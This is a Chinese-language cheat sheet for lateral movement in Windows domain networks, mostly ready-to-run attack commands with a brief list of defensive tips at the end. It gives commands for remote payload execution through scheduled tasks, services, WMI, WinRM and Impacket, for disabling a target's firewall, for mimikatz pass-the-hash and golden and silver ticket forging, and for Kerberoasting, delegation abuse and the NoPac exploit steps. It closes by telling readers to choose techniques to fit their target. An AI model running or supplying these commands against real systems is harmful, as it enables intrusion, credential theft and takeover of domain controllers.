内网渗透横向移动技巧
字数 1293 2025-08-19 12:40:34
内网渗透横向移动技巧全面指南
文件传输前期准备
网络共享利用
- IPC$连接要求:
- 远程主机开启IPC连接
- 开放139和445端口
- 命令示例:
net use \\10.10.10.10\IPC$ "password" /user:"username" dir \\10.10.10.10\c$ - 安全性:本地执行远程命令,不在远程主机留日志
SMB服务器搭建
- SMB协议使用139或445端口
- 创建共享目录供内网主机访问
- CIFS与SMB区别:
- CIFS是SMB的增强版本
- 获取域控CIFS权限可直接控制域控
横向移动技术
计划任务
- Windows < 2012:
at \\target 15:47 c:\payload.bat - Windows ≥ 2012:
schtasks /create /s target /ru SYSTEM /tn taskname /sc DAILY /tr c:\payload.bat /F schtasks /run /s target /tn taskname - 日志记录:
- Microsoft-Windows-TaskScheduler/Operational
- Microsoft-Windows-TaskScheduler/Maintenance
系统服务
- 创建服务:
sc \\target create servicename binpath= "c:\payload.exe" sc \\target start servicename - 关闭防火墙:
sc \\target create disablefirewall binpath= "netsh advfirewall set allprofiles state off"
PSEXEC
- 条件:
- 开启Admin$共享
- 开放139/445端口
- 有创建服务权限
- 工具:
- PsTools套件
- Impacket的psexec.py
- 日志:事件ID 7045
WMI利用
- 条件:
- WMI服务开启
- 开放135端口
- 命令示例:
wmic /node:192.168.1.1 /user:admin /password:pass process call create "cmd.exe /c ipconfig > C:\result.txt"
DCOM利用
- 通过分布式COM对象远程执行命令
- 需要135和445端口开放
WinRM利用
- 配置:
winrm quickconfig winrm set winrm/config/service/auth "@{Basic="true"}" winrm set winrm/config/service "@{AllowUnencrypted="true"}" - 执行命令:
winrs -r:http://target:5985 -u:admin -p:pass "whoami"
Linux横向渗透工具
Impacket工具包
- wmiexec.py:
python wmiexec.py domain/user:password@target - smbexec.py:
python smbexec.py -hashes :hash domain/user@target - atexec.py:
python atexec.py domain/user:password@target "command" - dcomexec.py:
python dcomexec.py domain/user:password@target "whoami"
凭证攻击技术
哈希传递(PTH)
- mimikatz:
sekurlsa::pth /user:user /domain:domain /ntlm:hash - 限制:
- KB2871997补丁后仅administrator账户可用
- 可通过修改注册表绕过限制
密钥传递(PTK)
- 使用AES密钥代替NTLM哈希
- 限制:
- 需要Kerberos认证
- 无法在Socks代理环境下使用
Kerberos攻击
黄金票据
- 条件:
- 域SID
- krbtgt账户hash
- 本地管理员权限
- 生成:
kerberos::golden /user:fakeuser /domain:domain /sid:SID /krbtgt:hash /ticket:gold.kirbi - 使用:
kerberos::ptt gold.kirbi
Kerberoasting
- 攻击服务账户的SPN获取服务票据进行破解
- 工具:
Rubeus.exe kerberoast GetUserSPNs.py -request
AS-REP Roasting
- 攻击未启用预认证的账户
- 工具:
Rubeus.exe asreproast GetNPUsers.py
白银票据
- 伪造服务票据(ST)
- 生成:
kerberos::golden /domain:domain /sid:SID /target:target /service:service /rc4:hash /user:user /ptt - 服务类型:
- CIFS - 文件共享
- HOST - 计划任务
- HTTP/WINRM - 远程管理
委派攻击
非约束委派
- 查找:
Get-NetComputer -Unconstrained - 利用:
- 诱导域控连接
- 导出TGT
- 注入内存
约束委派
- 查找:
Get-DomainComputer -TrustedToAuth - 利用:
Rubeus.exe s4u /user:service$ /rc4:hash /impersonateuser:admin /msdsspn:service/target /ptt
基于资源的约束委派
- 配置:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor Set-DomainObject target -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} - 利用:
Rubeus.exe s4u /user:attacker$ /rc4:hash /impersonateuser:admin /msdsspn:service/target /ptt
特殊漏洞利用
CVE-2020-17049 (Kerberos Bronze Bit)
- 绕过PAC校验
- 利用:
python getST.py -force-forwardable ...
CVE-2021-42287 & CVE-2021-42278 (NoPac)
- 利用步骤:
- 创建机器账户
- 清除SPN
- 修改sAMAccountName冒充域控
- 请求TGT
- 恢复原名称
- S4U请求服务票据
防御建议
- 限制委派配置权限
- 启用PAC验证
- 监控异常Kerberos活动
- 定期轮换krbtgt密码
- 限制本地管理员权限
- 启用Windows事件日志审核
本指南涵盖了内网横向移动的主要技术和方法,实际使用时需根据目标环境选择合适的技术组合。